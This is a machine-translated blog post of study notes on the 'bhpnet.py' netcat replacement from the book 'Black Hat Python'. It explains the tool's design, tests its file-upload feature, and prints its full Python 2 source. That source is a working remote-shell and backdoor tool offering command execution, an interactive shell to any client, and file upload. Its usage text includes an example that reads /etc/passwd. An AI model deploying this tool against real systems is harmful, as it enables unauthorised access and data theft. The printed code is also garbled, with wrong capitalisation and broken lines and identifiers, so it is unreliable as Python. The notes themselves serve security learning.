"Python Black Hat" learning notes-original book Netcat Code Analysis-day 7__python

Source: Internet
Author: User
Tags print print save file stdin

After briefly introducing the function and application of netcat, we begin to learn to understand the Netcat code in the book. function reads data from standard input and sends data over the network. Upload files. Execute the command. Command line Shell. implements parsing command-line options and parameters, setting the appropriate feature identification and parameter variables according to options, if the options and parameters do not print help information correctly. The logical process of calling functional functions is designed based on the function identification variables. The main body consists of two parts, an outward connection and a local listener. The outward connection part, itself as a client, sends and receives data to the server. The local listening section, which serves as the server, binds the port listener, creates a new client processing thread for the incoming client, and processes the client request. Client processing threads, according to upload files, execute commands, command line shell and other functions, call the corresponding function function, complete data transmission and reception. Command line Shell function, create a child process of the shell, the incoming client sends over the shell command to the subprocess, and sends the execution result to the client. When you perform a command function, you create a child process that executes the command according to the parameters of the Execute option, which can be a program or script.

The original book code attached to the last, can also be downloaded at the address below.

Https://nostarch.com/blackhatpython Test

For the original book Netcat test, here choose "command line Shell" and "execute command" two functions to test.

Command line shell feature:

Execute command function:

Note that for Sys.stdin.read (), you need to send Ctrl + D (Linux) or CTRL + Z (Windows) to avoid reading data from standard input so that the program can proceed down.

The original book Netcat code to optimize the place is very much, and some code will let the Python process die, with N times taskkill/f/im Python.exe to end the process, to test. You don't have the confidence to go down again, give an example of a test upload file feature, as shown in figure:

Service side Running

Python bhpnet.py-l-p2222-u1.txt

Wait for the client to connect and accept the data sent by the client as a file. Client with

NC 127.0.0.1 2222

Connect the service side and send the data. or send the data directly with ECHO and pipe.

Echo-ne "aaaaaaaasssssssss\r\naaaaa\nss\n" | NC 127.0.0.1 2222

The code is:

# Check for upload
    if Len (upload_destination): # read in all the bytes of the ' file and write to our

        Destination
  file_buffer = ""

        # Keep reading data until none-available while
        True:
            data = CLIENT_SOCKET.RECV (1024) 
  
   if not data:
                break
            Else:
                file_buffer + = Data

        # Now we take this bytes and write them out
        try:
   
    file_descriptor = open (Upload_destination, "WB") File_descriptor.write (file_buffer) File_ Descriptor.close () # acknowledge that we wrote the ' file Out Client_socket.send (' successfully saved file to%S/R /n "% upload_destination) except: client_socket.send (" Failed to save file to%s/r/n "% upload_destination)
   
  

Exception occurred in

data = CLIENT_SOCKET.RECV ()

Statement, the SOCKET.RECV () function produces an exception, error [Errno 10054], when the client actively forces a disconnect (CTRL + C under Windows terminal) when debugging. And the data here will not be empty, socket whether blocking or non-blocking, the return value of SOCKET.RECV () will not be null characters, so use if not data: As a jump out of the loop is not appropriate.

D:\myProjects\Black-Hat-Python\venv-p2\Scripts\python.exe D:/myprojects/black-hat-python/codes-p2/bhpnet.py-l- P2222-u1.txt
Exception in thread Thread-1:
traceback (most recent called last):
  File "C:\Python27\Lib\ threading.py ", line 801, in __bootstrap_inner
    self.run ()
  File" C:\Python27\Lib\threading.py ", line 754, in run< C5/>self.__target (*self.__args, **self.__kwargs)
  File "d:/myprojects/black-hat-python/codes-p2/bhpnet.py", Line 124, in Client_handler
    data = CLIENT_SOCKET.RECV (1024)

Socket.error: [Errno 10054] because the remote host forced the shutdown of an existing connection, such as not calling Socket.close () or the socket timeout. When you write a crawler, you often encounter, for example, the server discovers your crawler, will force disconnect your connection, your crawler program may have 10054 errors.

A common approach to this is to read new data, to determine whether there are complete new information (such as data end marks, new data requests, etc.), and to process new messages.

The

is also a popular method for other TCP socket programming, that is, to call Socket.send () and SOCKET.RECV () to set its own end character to determine whether the data has been sent or received. Python2 Code

#!/opt/local/bin/python2.7 Import SYS import socket import getopt import threading Import subprocess # define some Glob Al variables Listen = False Command = False upload = False execute = "" Targ ET = "" Upload_destination = "" Port = 0 # This runs a command and returns the output Def Run_c Ommand (command): # trim the newline command = Command.rstrip () # Run the command and get the ' out Put back try:output = Subprocess.check_output (command,stderr=subprocess. STDOUT, shell=true) except:output = "Failed to execute command.\r\n" # Send the output b
        ACK to the client return output # This handles incoming client connections def client_handler (client_socket): Global upload Global Execute global command # Check for upload if Len (Upload_destina tion): # Read in all of the byteS and write to We destination File_buffer = "" # Keep reading data until none is Availab Le while true:data = CLIENT_SOCKET.RECV (1024) if not dat 

                A:break Else:file_buffer + = data # Now we take the bytes and try to write them out Try:file_de
                        Scriptor = open (Upload_destination, "WB") File_descriptor.write (File_buffer) File_descriptor.close () # acknowledge that we wrote the file out client _socket.send ("Successfully saved file to%s\r\n"% upload_destination) except:cli Ent_socket.send ("Failed to save file to%s\r\n"% upload_destination) # Check for command execution if

         Len (Execute):       # run the command output = Run_command (execute) client_socket.send (output)
                        # Now we go into another loop if a command shell is requested if command:while True:

                        # show a simple prompt client_socket.send ("<BHP:#>") # Now we receive until we have a linefeed (enter key) Cmd_buffer = "" W


                        Hile "\ n" not in Cmd_buffer:cmd_buffer + + CLIENT_SOCKET.RECV (1024) # We have a valid command so execute it and send back the results response = Run_command (cmd_b Uffer) # Send back to the response Client_socket.send (response) # This is F  or Incoming Connections def server_loop (): Global target Global Port # If no target is defined we Listen on all interfaces if not Len (target): target = "0.0.0.0" server = Socket.socket (socket.af_inet, socket. Sock_stream) Server.bind ((Target,port)) Server.listen (5) while TRUE:CLI Ent_socket, addr = Server.accept () # spin off a thread to handle our new client client_th Read = Threading. Thread (target=client_handler,args= (Client_socket,)) Client_thread.start () # If we don ' t listen we are a
Client....make it so. def client_sender (buffer): client = Socket.socket (socket.af_inet, socket.

                Sock_stream Try: # Connect to our target host Client.connect ((Target,port)) # If we detect input from stdin send it # if not ' we are going to ' wait for the ' user to punch

                        Some in If Len (buffer): client.send (buffer) while True: # now WaiT for data back Recv_len = 1 response = "" While Recv_len:data = CLIENT.RECV (4096) Recv_len = Len (data
                                        ) response+= Data if Recv_len < 4096:
                        Break print response, # Wait for more input                        

                        Buffer = Raw_input ("") buffer + = "\ n"  # Send it off client.send (buffer) except: # Just catch generic Errors-you can do your homework to beef this up print "[*] exception!

                Exiting. " # teardown the Connection client.close () def usage (): print "Netcat Replac Ement "Print PRint "usage:bhpnet.py-t target_host-p port" print-l--listen-listen on [Host]:[port] for Inc
        oming connections "Print"-e--execute=file_to_run-execute the given file upon receiving a connection " Print "-c--command-initialize a command shell" print "-u--upload=destination-upon Receivin G Connection upload a file and write to [destination] "Print print print" Examples: "Prin T "bhpnet.py-t 192.168.0.1-p 5555-l-C" print "Bhpnet.py-t 192.168.0.1-p 5555-l-u=c:\\target.exe" p Rint "Bhpnet.py-t 192.168.0.1-p 5555-l-e=\" "cat/etc/passwd\" "Print" echo ' Abcdefghi ' |./bhpnet.py-t 192.168
        .11.12-p 135 "Sys.exit (0) def main (): Global Listen Global Port Global Execute
                Global command Global upload_destination Global target if not Len (sys.argv[1:]): Usage () # ReadThe commandline options try:opts, args = Getopt.getopt (sys.argv[1:], "HLE:T:P:CU:", ["Help", "listen "," execute "," target "," Port "," command "," upload "] except getopt.  Getopterror as Err:print str (ERR) usage () for o,a in Opts:if o
                        In ("H", "--help"): Usage () elif O in ("L", "--listen"):  Listen = True elif o in ("E", "--execute"): Execute = a elif o in
                        ("-C", "--commandshell"): Command = True elif o in ("-U", "--upload"):
                Upload_destination = a elif o in ("T", "--target"): target = a
                        Elif o in ("P", "--port"): port = Int (a) Else: Assert False, "Unhandled Option" # Are we going to listen or just send data from stdin if not listen and Len (target) and port > 0: # Read in the buffer from T
                He commandline # This would block, so send ctrl-d if not sending input # to stdin Buffer = Sys.stdin.read () # Send data off Client_sender (buffer) # we  Re going to listen and potentially # upload things, execute commands and drop a shell back # depending on        Our command line options above if Listen:server_loop () main ()

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.